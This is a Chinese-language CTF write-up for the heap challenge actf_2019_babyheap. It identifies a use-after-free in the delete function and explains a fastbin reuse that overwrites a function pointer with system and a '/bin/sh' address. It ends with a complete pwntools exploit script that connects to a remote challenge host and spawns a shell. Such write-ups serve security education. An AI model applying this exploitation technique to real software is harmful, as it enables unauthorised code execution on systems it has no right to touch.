actf_2019_babyheap
惯例我们先来checksec一下
除了PIE外保护全开的64位程序
由于开启了 Full RELRO因此我们对于got表只有read权限
放进ida64里看看 去除了符号表 但因为是一道比较标准的菜单题 所以相对来说还是比较轻松的
main函数
标准的菜单题 1添加堆 2删除堆 3 打印堆
add
show
delete
没有将指针置零 因此存在uaf漏洞
审题完成 开始解题
由于delete函数中存在明显的uaf漏洞 同时add函数中又是先申请一个大小为0x10的chunk 然后再申请大小为size的chunk 且show函数是通过执行大小为0x10的chunk的后八位存储的函数来打印chunk中的内容的 于是我们可以利用fastbin的性质来达成篡改大小为0x10大小的chunk的后八位进而达成执行system('/bin/sh)'
首先我们先申请两个chunk
然后将这两个chunk free掉 这样我们大小为0x10的fastbin就有两个了 此时再申请一个大小为0x10大小的chunk即可
add(0x80,'aaaa')
add(0x80,'bbbb')
delete(0)
delete(1)
add(0x10,p64(bin_sh)+p64(system))
show(0)
然后我们就可以获得到控制权啦
exp
from pwn import *
io=remote('node4.buuoj.cn',29126)
elf=ELF('./ACTF_2019_babyheap')
bin_sh=0x602010
system=elf.plt['system']
context.log_level='debug'
#io=process('./ACTF_2019_babyheap')
def add(size,content):
io.recvuntil('choice: ')
io.sendline('1')
io.recvuntil('size: ')
io.sendline(str(size))
io.recvuntil('content: ')
io.send(content)
def delete(idx):
io.recvuntil('choice: ')
io.sendline('2')
io.recvuntil('index: ')
io.send(str(idx))
def show(idx):
io.recvuntil('choice:')
io.sendline('3')
io.recvuntil('index:')
io.send(str(idx))
add(0x80,b'aaaa')
add(0x80,b'bbbb')
delete(0)
delete(1)
add(0x10,p64(bin_sh)+p64(system))
show(0)
io.interactive()